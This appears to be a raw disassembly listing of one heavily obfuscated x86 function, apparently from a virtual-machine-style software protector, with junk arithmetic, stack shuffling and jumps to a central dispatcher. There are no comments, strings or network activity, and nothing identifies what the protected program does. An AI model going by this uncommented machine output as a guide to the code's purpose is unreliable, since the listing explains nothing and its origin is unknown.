; --------------------------------------------------------------------------- loc_59392E: ; CODE XREF: sub_581EE9+1740Ej not ch jmp loc_5A2390 ; --------------------------------------------------------------------------- loc_593935: ; CODE XREF: sub_581EE9+1F4D1j add al, 3Fh add al, 0Dh add al, 8Ch mov edx, [esp] jmp loc_5A265C ; --------------------------------------------------------------------------- loc_593943: ; CODE XREF: sub_581EE9+1DAA4j xor bh, ch mov ecx, [esp-6EA2h+arg_6E9A] add esp, 4 xor bh, 4Dh or bh, 88h push ecx mov ch, 86h or bh, ch pop ecx add bh, 0E6h sub bh, 1 push 76F0h mov [esp-6EA2h+arg_6E9A], edx mov dl, 93h xor dl, 9Dh sub dl, 0CEh add dl, 3Ah push ax mov ah, 53h or dl, ah jmp loc_5A0ACD ; --------------------------------------------------------------------------- loc_59397E: ; CODE XREF: sub_581EE9+2073Ej pop edi pop [esp-6EA4h+arg_6E9A+2] mov esp, [esp-6EA8h+arg_6E9E+2] mov [esp-6EA8h+arg_6E9E+2], esp add [esp-6EA8h+arg_6E9E+2], 4 pop ecx jmp loc_594336 ; --------------------------------------------------------------------------- loc_593992: ; CODE XREF: sub_581EE9+1EB7Cj push eax push 21117134h pop eax inc eax jmp loc_593479 ; --------------------------------------------------------------------------- loc_59399F: ; CODE XREF: sub_581EE9+182D4j add al, 75h push edx jmp loc_5A3470 ; --------------------------------------------------------------------------- lodsd sub esi, 308F7CCFh push edx mov edx, 7F6C0B8Fh neg edx push 8D3h mov [esp-6E9Ch+arg_6E92+2], ebx push ebp mov ebp, 19A2203Ch jmp loc_5A1944 ; --------------------------------------------------------------------------- loc_5939C9: ; CODE XREF: sub_581EE9+20C77j mov esp, [esp-6E98h+arg_6E8E+2] imul ecx, eax push ecx pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5939D6: ; CODE XREF: sub_581EE9+153B1j neg ch not ch sub ch, 0C3h inc ch and ch, 0D8h add ch, 0C9h xor al, ch jmp loc_59B412 ; --------------------------------------------------------------------------- loc_5939EC: ; CODE XREF: sub_581EE9+20BFFj sub edi, 11068B3Bh jmp loc_5A02B5 ; --------------------------------------------------------------------------- loc_5939F7: ; CODE XREF: sub_581EE9+14615j or ebx, 12301559h dec ebx jmp loc_597C8D ; --------------------------------------------------------------------------- loc_593A03: ; CODE XREF: sub_581EE9+20975j cmp cl, al pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_593A0B: ; CODE XREF: sub_581EE9+1A7ECj add ecx, 6B690CFAh add ecx, ebp sub ecx, 6B690CFAh pop ebp jmp loc_5946C8 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp-6E92h+arg_6E8A], cl pushf jmp loc_59D607 ; --------------------------------------------------------------------------- loc_593A2E: ; CODE XREF: sub_581EE9+134E7j push eax jmp loc_596106 ; --------------------------------------------------------------------------- loc_593A34: ; CODE XREF: sub_581EE9+19452j add ebx, edi push [esp-6E8Ah+arg_6E80+2] jmp loc_59D7F3 ; --------------------------------------------------------------------------- loc_593A3E: ; CODE XREF: sub_581EE9+2106Cj sub esp, 4 mov dword ptr [esp-6E82h+arg_6E7A], edx mov edx, 7FF56BEAh sub ebx, edx mov edx, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 loc_593A51: ; CODE XREF: sub_581EE9+14386j push 5241h jmp loc_5A5571 ; --------------------------------------------------------------------------- loc_593A5B: ; CODE XREF: sub_581EE9+15170j push ebp mov ebp, 25C72729h jmp loc_5A2EBA ; --------------------------------------------------------------------------- loc_593A66: ; CODE XREF: sub_581EE9+222E5j mov esi, [esp-6E7Eh+arg_6E76] add esp, 4 xor ebp, dword ptr [esp-6E82h+arg_6E7A] jmp loc_59760D ; --------------------------------------------------------------------------- loc_593A74: ; CODE XREF: sub_581EE9+225CCj mov esi, 616019F2h dec esi add esi, 216221E3h xor esi, 104E4779h jmp loc_593B17 ; --------------------------------------------------------------------------- loc_593A8B: ; CODE XREF: sub_581EE9+1D542j push dword ptr [esp-6E82h+arg_6E7A] pop ebx sub esp, 4 mov [esp-6E7Eh+arg_6E76], eax jmp loc_59252D ; --------------------------------------------------------------------------- loc_593A9A: ; CODE XREF: sub_581EE9+13D80j mov al, 0E8h sub bl, al pop eax push 6D9Fh mov [esp-6E7Eh+arg_6E76], edx mov dh, 90h add bl, dh jmp loc_5934B3 ; --------------------------------------------------------------------------- loc_593AB0: ; CODE XREF: sub_581EE9+1C862j sub edi, 6C3E28F5h add edi, 20973E58h add ecx, edi pop edi sub ebx, 26715906h add ebx, ecx jmp loc_59D177 ; --------------------------------------------------------------------------- loc_593ACC: ; CODE XREF: sub_581EE9+10B80j add eax, edx pop edx add eax, 4 xor eax, [esp-6EAEh+arg_6EA4+2] xor [esp-6EAEh+arg_6EA4+2], eax xor eax, [esp-6EAEh+arg_6EA4+2] mov esp, [esp-6EAEh+arg_6EA4+2] movsx ecx, ax push 2143h mov dword ptr [esp-6EAAh+arg_6EA2], ecx jmp loc_591F70 ; --------------------------------------------------------------------------- loc_593AF0: ; CODE XREF: sub_581EE9+2247Bj ror dword ptr [esp-6EAAh+arg_6EA2], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_593AF9: ; CODE XREF: sub_581EE9+24B53j sub esi, 53B23627h and esi, 2BFD52F5h xor esi, 22590052h add ebp, esi pop esi xchg ebp, dword ptr [esp-6EAAh+arg_6EA2] pop esp jmp loc_59C438 ; --------------------------------------------------------------------------- loc_593B17: ; CODE XREF: sub_581EE9+11B9Dj shr esi, 6 add esi, 4D50026Ch sub ebx, esi pop esi pop edi sub esp, 4 mov [esp-6E86h+arg_6E7C+2], ebx push esi jmp loc_59214E ; --------------------------------------------------------------------------- loc_593B30: ; CODE XREF: sub_581EE9+14258j mov esp, dword ptr [esp-6E82h+arg_6E7A] mov dword ptr [esp-6E82h+arg_6E7A], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, dword ptr [esp-6E82h+arg_6E7A] jmp loc_59B7E5 ; --------------------------------------------------------------------------- loc_593B4C: ; CODE XREF: sub_581EE9+218B2j mov ecx, 349961F2h push ebx mov ebx, 43145F4Eh inc ebx and ebx, 2FC6087Dh shr ebx, 3 jmp loc_5A4E88 ; --------------------------------------------------------------------------- loc_593B66: ; CODE XREF: sub_581EE9+17353j push 4FD530ABh pop ebp inc ebp sub ebp, 0D982394h jmp loc_59BC76 ; --------------------------------------------------------------------------- loc_593B78: ; CODE XREF: sub_581EE9+24718j add edx, 4 sub edx, 4 push edx push [esp-6E7Ah+arg_6E76] mov edx, [esp-6E76h+arg_6E6E] add esp, 4 pop dword ptr [esp] mov esp, [esp-6E7Eh+arg_6E76] mov [esp-6E7Eh+arg_6E76], ebx mov ebx, esp add ebx, 4 push 7EFAh jmp loc_5953E6 ; --------------------------------------------------------------------------- loc_593BAD: ; CODE XREF: sub_581EE9+13929j add ebp, ecx jmp loc_59E792 ; --------------------------------------------------------------------------- loc_593BB4: ; CODE XREF: sub_581EE9+188E6j shr esi, 4 sub esi, 387A1AF8h jmp loc_59D954 ; --------------------------------------------------------------------------- loc_593BC2: ; CODE XREF: sub_581EE9+23150j add eax, 125E2578h jmp loc_597915 ; --------------------------------------------------------------------------- loc_593BCC: ; CODE XREF: sub_581EE9+24B9Ej sub edi, 694021FEh shl edi, 1 shr edi, 8 xor edi, 284B3816h sub edx, edi pop edi add edx, ebx add edx, 28561429h push dword ptr [edx] sub [esp-6E7Ah+arg_6E72], 72A533C3h pop eax add eax, 72A533C3h pop edx pop ebx push esi sub esp, 4 mov [esp-6E7Eh+arg_6E76], ecx jmp loc_5A6141 ; --------------------------------------------------------------------------- loc_593C05: ; CODE XREF: sub_581EE9+11597j pop eax jmp loc_59C799 ; --------------------------------------------------------------------------- loc_593C0B: ; CODE XREF: sub_581EE9+1A3B7j mov ecx, 7A980B18h add ecx, 0FFFFFFFFh not ecx jmp loc_5A42B8 ; --------------------------------------------------------------------------- lodsd jmp loc_594E3D ; --------------------------------------------------------------------------- loc_593C23: ; CODE XREF: sub_581EE9+1F254j push [esp-6E76h+arg_6E6E] pop ecx add esp, 4 push bx mov bl, 4Fh push 367h mov [esp+0], ecx mov ch, 0B7h sub al, 4Eh add al, ch push edx mov dh, 92h and dh, 4Fh jmp loc_59ACB8 ; --------------------------------------------------------------------------- loc_593C47: ; CODE XREF: sub_581EE9+1DEC4j add ebx, 7816DF4h jmp loc_5A1245 ; --------------------------------------------------------------------------- loc_593C52: ; CODE XREF: sub_581EE9+23423j pop ebp add esi, edx push dword ptr [esp+0] jmp loc_5A3D6F ; --------------------------------------------------------------------------- loc_593C5D: ; CODE XREF: sub_581EE9+1EFA1j pop esi shl ebp, 2 or ebp, 3387532Eh shl ebp, 2 jmp loc_59B95E ; --------------------------------------------------------------------------- loc_593C6F: ; CODE XREF: sub_581EE9+180E6j xchg eax, [esp+0] mov esp, [esp+0] mov [esp+0], ebp push ecx push ebx mov ebx, 382F25EFh push ecx mov ecx, 33A84824h jmp loc_597965 ; --------------------------------------------------------------------------- loc_593C8A: ; CODE XREF: sub_581EE9+23C18j mov ebx, [esp-6E68h+arg_6E60] push edi mov edi, esp jmp loc_5988A3 ; --------------------------------------------------------------------------- loc_593C95: ; CODE XREF: sub_581EE9+1011Cj mov bl, 85h push ebx mov bh, 0DDh inc bh neg bh neg bh xor bh, 0D9h xor bh, 0CDh sub al, bh pop ebx add al, bl add al, 0CAh pop ebx mov cx, word ptr [esp-6EA6h+arg_6E9E] add esp, 2 jmp loc_59E6F9 ; --------------------------------------------------------------------------- loc_593CBA: ; CODE XREF: sub_581EE9+1A9E9j mov dword ptr [esp-6EAAh+arg_6EA2], edi mov edi, 23994F50h or edi, 1DB6684h add edi, 1CFA7BADh xor edi, 55E8BFEBh add ebx, 22031875h sub ebx, edi jmp loc_5A5EC2 ; --------------------------------------------------------------------------- loc_593CE1: ; CODE XREF: sub_581EE9+16805j push [esp-6EAAh+arg_6EA4+2] pop ebp jmp loc_59E417 ; --------------------------------------------------------------------------- loc_593CEB: ; CODE XREF: sub_581EE9+2098Bj push esp pop eax jmp loc_59D6E2 ; --------------------------------------------------------------------------- loc_593CF2: ; CODE XREF: sub_581EE9+221ECj add ebp, 5D6F16EAh jmp loc_59C2A5 ; --------------------------------------------------------------------------- loc_593CFD: ; CODE XREF: sub_581EE9+1B8E0j pop esp jmp loc_5A3FA6 ; --------------------------------------------------------------------------- loc_593D03: ; CODE XREF: sub_581EE9+1E5E6j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, dword ptr [esp-6EAAh+arg_6EA2] pop esp mov [esp-6EAEh+arg_6EA4+2], ecx mov ecx, esp add ecx, 4 jmp loc_592078 ; --------------------------------------------------------------------------- loc_593D23: ; CODE XREF: sub_581EE9+1AB6Ej mov ebp, [esp-6EAEh+arg_6EA4+2] add esp, 4 add ebx, 4 xor ebx, [esp-6EB2h+arg_6EA8+2] jmp loc_59C8E2 ; --------------------------------------------------------------------------- loc_593D3A: ; CODE XREF: sub_581EE9+1172Dj add esp, 4 jmp loc_5A3B0B ; --------------------------------------------------------------------------- loc_593D42: ; CODE XREF: sub_581EE9+1C798j pop eax pop [esp-6E8Ah+arg_6E80+2] mov esp, [esp-6E8Eh+arg_6E84+2] mov [esp-6E8Eh+arg_6E84+2], ebx push [esp-6E8Eh+arg_6E84+2] pop eax push edi mov edi, esp jmp loc_5A3854 ; --------------------------------------------------------------------------- loc_593D58: ; CODE XREF: sub_581EE9+1F778j pop esi xchg ecx, esi not ecx jmp loc_59F5CD ; --------------------------------------------------------------------------- loc_593D62: ; CODE XREF: sub_581EE9+1402Ej xor ebx, ecx pop ecx add edx, ebx push [esp-6E92h+arg_6E8A] jmp loc_5A140D ; --------------------------------------------------------------------------- loc_593D6F: ; CODE XREF: sub_581EE9+1E966j mov edx, [esp-6E8Eh+arg_6E84+2] add esp, 4 pop edx sub esp, 4 jmp loc_5A57DA ; --------------------------------------------------------------------------- loc_593D84: ; CODE XREF: sub_581EE9+1B1EFj mov ebp, 408F53D2h xor esi, ebp pop ebp pop ebx and [edi+1Ch], esi push [esp-6E9Ah+arg_6E92] push [esp-6E96h+arg_6E8E] pop esi push ebx jmp loc_595643 ; --------------------------------------------------------------------------- loc_593D9D: ; CODE XREF: sub_581EE9+1920Aj add edx, 4 xchg edx, [esp-6E92h+arg_6E8A] pop esp jmp loc_59C317 ; --------------------------------------------------------------------------- loc_593DA9: ; CODE XREF: sub_581EE9+1B5F7j mov [esp-6E96h+arg_6E8E], eax mov al, 59h mov dh, al mov eax, [esp-6E96h+arg_6E8E] jmp loc_594CCD ; --------------------------------------------------------------------------- loc_593DB8: ; CODE XREF: sub_581EE9+18D0Dj mov [esp-6E96h+arg_6E8E], esp add [esp-6E96h+arg_6E8E], 4 pop ebx jmp loc_59A31C ; --------------------------------------------------------------------------- loc_593DC8: ; CODE XREF: sub_581EE9+13C86j sub bh, 80h jmp loc_594911 ; --------------------------------------------------------------------------- loc_593DD0: ; CODE XREF: sub_581EE9+222ACj sub ebp, ebx sub ebp, 27C240C2h add ebp, 36D001ADh jmp loc_595953 ; --------------------------------------------------------------------------- loc_593DE3: ; CODE XREF: sub_581EE9+12E1Dj sub ebx, 5F5A2064h push edi mov edi, 5D950D97h xor edi, 274275E5h jmp loc_595DCC ; --------------------------------------------------------------------------- loc_593DFA: ; CODE XREF: sub_581EE9+16BADj mov [esp-6E96h+arg_6E8E], ecx jmp loc_593ECB ; --------------------------------------------------------------------------- loc_593E02: ; CODE XREF: sub_581EE9+1B0FAj mov esi, [esp-6E96h+arg_6E8E] push edi mov edi, esp add edi, 4 jmp loc_59FFE0 ; --------------------------------------------------------------------------- loc_593E13: ; CODE XREF: sub_581EE9+14C3Bj xor edx, esi pop esi jmp loc_5943AF ; --------------------------------------------------------------------------- loc_593E1B: ; CODE XREF: sub_581EE9+1EEE6j mov esp, [esp-6E96h+arg_6E8E] mov fs:[edx], ax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_593E27: ; CODE XREF: sub_581EE9+16134j neg ecx add ecx, 8F132E77h sub esi, ecx pop ecx sub esi, 0E7C7108h jmp loc_5A4A69 ; --------------------------------------------------------------------------- loc_593E3D: ; CODE XREF: sub_581EE9+2235Aj push 28F4h mov [esp-6E96h+arg_6E8E], edx push 663Ch mov [esp-6E92h+arg_6E8A], ecx push edx jmp loc_592C80 ; --------------------------------------------------------------------------- loc_593E53: ; CODE XREF: sub_581EE9+17C08j pop ebx jmp loc_59A3CF ; --------------------------------------------------------------------------- loc_593E59: ; CODE XREF: sub_581EE9+128B3j mov ecx, 1E9C3188h mov edx, ecx jmp loc_59C9AD ; --------------------------------------------------------------------------- loc_593E65: ; CODE XREF: sub_581EE9+16410j mov ecx, [esp-6E92h+arg_6E8A] push edi push esp pop edi jmp loc_59308B ; --------------------------------------------------------------------------- loc_593E70: ; CODE XREF: sub_581EE9+21620j pop cx add al, dh add al, 0C2h jmp loc_5A02E4 ; --------------------------------------------------------------------------- loc_593E7B: ; CODE XREF: sub_581EE9+1C5AFj add esi, 4 jmp loc_59A08D ; --------------------------------------------------------------------------- loc_593E86: ; CODE XREF: sub_581EE9+23A3Fj pop esp loc_593E87: ; CODE XREF: sub_581EE9+113ACj ; sub_581EE9+1F69Ej mov ebx, [esp-6E94h+arg_6E8A+2] sub esp, 4 jmp loc_5A36E3 ; --------------------------------------------------------------------------- loc_593E95: ; CODE XREF: sub_581EE9+13CC3j add dword ptr [esp+0], 7A2A17F1h pop eax sub eax, 7A2A17F1h jmp loc_598DBC ; --------------------------------------------------------------------------- lodsd push ecx jmp loc_59B96E ; --------------------------------------------------------------------------- loc_593EAE: ; CODE XREF: sub_581EE9+19AF9j mov [esp+0], ebp mov ebp, 29843AD4h jmp loc_59D74C ; --------------------------------------------------------------------------- loc_593EBB: ; CODE XREF: sub_581EE9+1A2E2j mov ebx, [esp+0] add esp, 4 sub eax, ecx jmp loc_59E49D ; --------------------------------------------------------------------------- loc_593ECB: ; CODE XREF: sub_581EE9+11F14j mov ecx, 11732914h jmp loc_59A407 ; --------------------------------------------------------------------------- loc_593ED5: ; CODE XREF: sub_581EE9+16169j add esi, 4 xor esi, [esp-6E96h+arg_6E8E] xor [esp-6E96h+arg_6E8E], esi jmp loc_592D6D ; --------------------------------------------------------------------------- loc_593EE6: ; CODE XREF: sub_581EE9+207BFj sub esp, 4 jmp loc_5A2D2C ; --------------------------------------------------------------------------- loc_593EEE: ; CODE XREF: sub_581EE9+1050Aj push eax mov eax, 19FA4C24h jmp loc_59B137 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp-6EA4h+arg_6E9A+2], edx mov edx, 0A287959h sub edx, 9937370Dh jmp loc_593739 ; --------------------------------------------------------------------------- loc_593F13: ; CODE XREF: sub_581EE9+24BBEj xor ecx, edx xor edx, ecx add ecx, 0FFFFFFFFh xor ecx, ebx xor ebx, ecx jmp loc_59DACB ; --------------------------------------------------------------------------- loc_593F23: ; CODE XREF: sub_581EE9+16539j mov ebp, [esp-6EA4h+arg_6E9A+2] add esp, 4 add ebx, 4 jmp loc_59317A ; --------------------------------------------------------------------------- loc_593F37: ; CODE XREF: sub_581EE9+20958j add ebx, edi mov edi, [esp-6EA8h+arg_6E9E+2] add esp, 4 add ebx, 2 xchg ebx, [esp-6EACh+arg_6EA4] jmp loc_59FEE1 ; --------------------------------------------------------------------------- loc_593F4A: ; CODE XREF: sub_581EE9+168DBj add cx, 3278h xor cx, 1692h xor cx, 608Fh jmp loc_59CD34 ; --------------------------------------------------------------------------- loc_593F5E: ; CODE XREF: sub_581EE9+1F540j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6EA8h+arg_6E9E+2] pop esp add esp, 4 xor eax, 0EC4E1D0Ch and ecx, eax push [esp-6EB0h+arg_6EA8] pop eax add esp, 4 jmp loc_5A0BFB ; --------------------------------------------------------------------------- loc_593F87: ; CODE XREF: sub_581EE9+1DE72j not ebp shr ebp, 2 jmp loc_59B407 ; --------------------------------------------------------------------------- loc_593F91: ; CODE XREF: sub_581EE9+170F7j push edx mov dh, bl mov ch, dh mov edx, [esp-6EB0h+arg_6EA8] add esp, 4 mov bx, word ptr [esp-6EB4h+arg_6EAC] add esp, 2 sub ch, 0FFh jmp loc_5A3096 ; --------------------------------------------------------------------------- loc_593FAE: ; CODE XREF: sub_581EE9+1F295j mov edi, 0A7C6AD6h jmp loc_5A2E64 ; --------------------------------------------------------------------------- loc_593FB8: ; CODE XREF: sub_581EE9+1FD6Bj mov ebx, 4 add eax, ebx mov ebx, [esp+0] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_59AC32 ; --------------------------------------------------------------------------- loc_593FD6: ; CODE XREF: sub_581EE9+139D3j push ebx mov ebx, 5ABC2A38h jmp loc_593201 ; --------------------------------------------------------------------------- loc_593FE1: ; CODE XREF: sub_581EE9+1CB0Aj mov ecx, [esp-6EB0h+arg_6EA8] push ebx mov ebx, esp jmp loc_592D1B ; --------------------------------------------------------------------------- loc_593FEC: ; CODE XREF: sub_581EE9+13D37j pop esp jmp loc_5A452C ; --------------------------------------------------------------------------- loc_593FF2: ; CODE XREF: sub_581EE9+21298j pop esp jmp loc_59B38A ; --------------------------------------------------------------------------- loc_593FF8: ; CODE XREF: sub_581EE9+1CC4Ej xor edx, ebx pop ebx inc edx add edx, 0E2EC54E5h add eax, edx pop edx jmp loc_5A17F6 ; --------------------------------------------------------------------------- loc_59400A: ; CODE XREF: sub_581EE9+11528j mov ebp, 15D71E0Dh jmp loc_59B771 ; --------------------------------------------------------------------------- loc_594014: ; CODE XREF: sub_581EE9+20CEEj pop ebp jmp loc_59F123 ; --------------------------------------------------------------------------- loc_59401A: ; CODE XREF: sub_581EE9+1C434j push eax jmp loc_5A3673 ; --------------------------------------------------------------------------- loc_594020: ; CODE XREF: sub_581EE9+20A00j mov edx, 2 jmp loc_5A1E80 ; --------------------------------------------------------------------------- loc_59402A: ; CODE XREF: sub_581EE9+215F2j not esi xor edi, esi xor esi, edi xor edi, esi push esi jmp loc_5937C0 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E76h+arg_6E6E] jmp loc_5A60DC ; --------------------------------------------------------------------------- loc_594041: ; CODE XREF: sub_581EE9+1B40Cj sub eax, 30F5F1Eh sub ecx, eax pop eax add edx, ecx push [esp-6E7Ah+arg_6E72] pop ecx jmp loc_5957C2 ; --------------------------------------------------------------------------- loc_594054: ; CODE XREF: sub_581EE9+234E6j pop edx push ecx mov ch, 0D8h push edx push ecx mov cl, 1Fh push eax jmp loc_5A4E08 ; --------------------------------------------------------------------------- loc_594062: ; CODE XREF: sub_581EE9+1297Ej and eax, 286A4A88h add eax, 48D010A4h mov edi, eax pop eax xor edi, 642B02B2h dec edi not edi shl edi, 2 or edi, 6AE71F9Ah add edi, 47FB413Dh sub edi, 15022988h sub ebp, 2FB44848h add ebp, edi add ebp, 2FB44848h pop edi jmp loc_599C04 ; --------------------------------------------------------------------------- loc_5940A1: ; CODE XREF: sub_581EE9+125AFj and ch, 13h xor ch, 9 jmp loc_596EDD ; --------------------------------------------------------------------------- loc_5940AC: ; CODE XREF: sub_581EE9+14E41j mov ebx, 44A335Ah mov ecx, 30439586h jmp loc_59ABCB ; --------------------------------------------------------------------------- loc_5940BB: ; CODE XREF: sub_581EE9+1E9C8j mov eax, 44A9010Eh and eax, 253106BBh shl eax, 2 jmp loc_597618 ; --------------------------------------------------------------------------- loc_5940CD: ; CODE XREF: sub_581EE9+14004j push 14A2h mov [esp-6E72h+arg_6E68+2], eax mov eax, 6ECB1AC8h add ecx, eax mov eax, [esp-6E72h+arg_6E68+2] add esp, 4 push edx mov edx, 7CB33EDh add ecx, edx pop edx add ecx, edi push eax jmp loc_59B7BA ; --------------------------------------------------------------------------- loc_5940F6: ; CODE XREF: sub_581EE9+24645j pop eax not ecx jmp loc_5A59DA ; --------------------------------------------------------------------------- loc_5940FE: ; CODE XREF: sub_581EE9+166EEj push edi push 4 pop edi add edx, edi push [esp-6E72h+arg_6E68+2] pop edi add esp, 4 jmp loc_5A31B7 ; --------------------------------------------------------------------------- loc_594113: ; CODE XREF: sub_581EE9+1F9CEj push ecx push 60CEh mov [esp-6E6Eh+arg_6E64+2], esp jmp loc_59B9D2 ; --------------------------------------------------------------------------- loc_594121: ; CODE XREF: sub_581EE9+23C89j add esi, 0A2E15693h jmp loc_59B241 ; --------------------------------------------------------------------------- loc_59412C: ; CODE XREF: sub_581EE9+192CEj xor ecx, 2DBE33C1h add ecx, 7292C2Ch jmp loc_592910 ; --------------------------------------------------------------------------- loc_59413D: ; CODE XREF: sub_581EE9+15555j pop edi jmp loc_598B7A ; --------------------------------------------------------------------------- loc_594143: ; CODE XREF: sub_581EE9+24EB3j mov [esp-6E72h+arg_6E68+2], edx sub esp, 4 sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], esp add [esp-6E6Ah+arg_6E60+2], 4 pop [esp-6E6Ah+arg_6E60+2] push edx mov edx, 4 add [esp-6E6Ah+arg_6E64+2], edx jmp loc_5A2799 ; --------------------------------------------------------------------------- loc_59416E: ; CODE XREF: sub_581EE9+1F908j xor ebp, 1DFC6565h push edx jmp loc_5A0466 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E66h+arg_6E5C+2] jmp loc_59DCF2 ; --------------------------------------------------------------------------- loc_594183: ; CODE XREF: sub_581EE9+1D7E4j or edi, 6FC067F3h jmp loc_599369 ; --------------------------------------------------------------------------- loc_59418E: ; CODE XREF: sub_581EE9+109DBj add esp, 4 jmp loc_59CB67 ; --------------------------------------------------------------------------- push [esp-6EC8h+arg_6EBE+2] jmp loc_5A69DB ; --------------------------------------------------------------------------- loc_5941A1: ; CODE XREF: sub_581EE9+12418j mov edx, 4B540754h xor esi, edx pop edx add edx, esi jmp loc_59EA3A ; --------------------------------------------------------------------------- loc_5941B0: ; CODE XREF: sub_581EE9+12AACj sub esi, 4674450h jmp loc_5A6E67 ; --------------------------------------------------------------------------- loc_5941BB: ; CODE XREF: sub_581EE9+1DB66j push 7D31h mov [esp-6EC4h+arg_6EBA+2], ecx mov ecx, 4 add [esp-6EC4h+arg_6EBE+2], ecx mov ecx, [esp-6EC4h+arg_6EBA+2] jmp loc_5A6AE4 ; --------------------------------------------------------------------------- loc_5941D4: ; CODE XREF: sub_581EE9+22E36j add edi, 61516172h add edx, edi mov edi, [esp-6EC4h+arg_6EBA+2] add esp, 4 push eax mov eax, 4 add edx, eax pop eax push edx push [esp-6EC4h+arg_6EBE+2] pop edx pop [esp-6EC4h+arg_6EBA+2] mov esp, [esp-6EC8h+arg_6EBE+2] add edx, 4 xchg edx, [esp-6EC8h+arg_6EBE+2] mov esp, [esp-6EC8h+arg_6EBE+2] bt [esp-6EC8h+arg_6EBE+2], eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59420A: ; CODE XREF: sub_581EE9+10F50j push ecx mov cx, 7E67h shl cx, 5 dec cx sub cx, 77E9h xor cx, 25BAh sub di, cx pop ecx push esi mov si, 4AD7h inc si add si, 57E2h shr si, 6 add si, 2750h sub di, si mov esi, [esp-6E5Eh+arg_6E54+2] jmp loc_5965E4 ; --------------------------------------------------------------------------- loc_594243: ; CODE XREF: sub_581EE9+1C048j push 580Eh mov [esp-6E5Ah+arg_6E50+2], edi jmp loc_5A2E6C ; --------------------------------------------------------------------------- loc_594250: ; CODE XREF: sub_581EE9+1B98Cj mov cx, word ptr [esp-6E5Ah+arg_6E50+2] add esp, 2 movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E7Eh+arg_6E76] sub esp, 4 mov [esp], ebx jmp loc_59ABF1 ; --------------------------------------------------------------------------- loc_594271: ; CODE XREF: sub_581EE9+1F8D3j push edx jmp loc_59915D ; --------------------------------------------------------------------------- loc_594277: ; CODE XREF: sub_581EE9+1F758j add cl, dl pop edx add al, cl mov ecx, [esp-6E7Ah+arg_6E72] add esp, 4 push edx mov dh, 5Eh and dh, 57h jmp loc_59BE08 ; --------------------------------------------------------------------------- loc_594290: ; CODE XREF: sub_581EE9+23B0Bj mov esi, esp jmp loc_598ED2 ; --------------------------------------------------------------------------- loc_594297: ; CODE XREF: sub_581EE9+1F27Cj push [esp-6E7Ah+arg_6E72] pop ecx add esp, 4 jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5942A3: ; CODE XREF: sub_581EE9+2010Fj mov eax, esp push ecx mov ecx, 4 add eax, ecx pop ecx add eax, 4 xchg eax, [esp-6E7Eh+arg_6E76] pop esp push 55DFh jmp loc_5A1E61 ; --------------------------------------------------------------------------- loc_5942C1: ; CODE XREF: sub_581EE9+2343Aj push edx jmp loc_5A27B7 ; --------------------------------------------------------------------------- loc_5942C7: ; CODE XREF: sub_581EE9+23CF7j xor esi, 0C7043A19h add ebx, esi pop esi push eax mov eax, 4 add ebx, eax pop eax jmp loc_59A697 ; --------------------------------------------------------------------------- loc_5942DE: ; CODE XREF: sub_581EE9+1305Dj mov [esp-6E7Eh+arg_6E76], eax mov eax, 4 add edx, eax pop eax jmp loc_5A0650 ; --------------------------------------------------------------------------- loc_5942EE: ; CODE XREF: sub_581EE9+1617Aj and esi, 23F27104h sub esi, 1 add esi, 180A35DDh push edx jmp loc_5941A1 ; --------------------------------------------------------------------------- loc_594306: ; CODE XREF: sub_581EE9+16A70j inc ah add ah, 9Fh xor ch, ah pop eax add dl, ch jmp loc_5A4BC9 ; --------------------------------------------------------------------------- loc_594315: ; CODE XREF: sub_581EE9+1EBDFj sub eax, ebp jmp loc_5A57C7 ; --------------------------------------------------------------------------- loc_59431C: ; CODE XREF: sub_581EE9+115CDj push edx mov dl, 0 xor dl, 90h sub bl, dl pop edx push ecx mov ch, 0EAh jmp loc_5A6640 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E66h+arg_6E5C+2] jmp loc_59564A ; --------------------------------------------------------------------------- loc_594336: ; CODE XREF: sub_581EE9+11AA4j push esi push ebx jmp loc_5991D3 ; --------------------------------------------------------------------------- loc_59433D: ; CODE XREF: sub_581EE9+13EFFj mov esi, 52CC53CFh add edx, 11514A51h sub edx, esi sub edx, 11514A51h jmp loc_5A3A7A ; --------------------------------------------------------------------------- loc_594355: ; CODE XREF: sub_581EE9+24AB2j push edx jmp loc_5A15AD ; --------------------------------------------------------------------------- loc_59435B: ; CODE XREF: sub_581EE9+17A50j add esi, 971652D9h jmp loc_5A5C37 ; --------------------------------------------------------------------------- loc_594366: ; CODE XREF: sub_581EE9+2440Bj push eax mov eax, 4 push ebp jmp loc_59FA54 ; --------------------------------------------------------------------------- loc_594372: ; CODE XREF: sub_581EE9+166D2j mov dh, al jmp loc_5A6990 ; --------------------------------------------------------------------------- loc_594379: ; CODE XREF: sub_581EE9+1D4B8j mov edi, [esp-6E98h+arg_6E8E+2] jmp loc_5955EC ; --------------------------------------------------------------------------- loc_594381: ; CODE XREF: sub_581EE9+2487Cj inc ebp jmp loc_59D033 ; --------------------------------------------------------------------------- loc_594387: ; CODE XREF: sub_581EE9+24F51j not edx shr edx, 8 add edx, 67AD6A20h sub edx, 42AFB5DEh sub eax, edx pop edx add eax, 2E34C3Ah push [esp-6E9Ch+arg_6E92+2] pop ecx add esp, 4 jmp loc_5987C9 ; --------------------------------------------------------------------------- loc_5943AF: ; CODE XREF: sub_581EE9+11F2Dj inc edx jmp loc_5A037A ; --------------------------------------------------------------------------- loc_5943B5: ; CODE XREF: sub_581EE9+1DA84j dec eax jmp loc_59A827 ; --------------------------------------------------------------------------- loc_5943BB: ; CODE XREF: sub_581EE9+15739j neg eax sub eax, 0C679378Dh xor esi, eax pop eax not esi jmp loc_5A3132 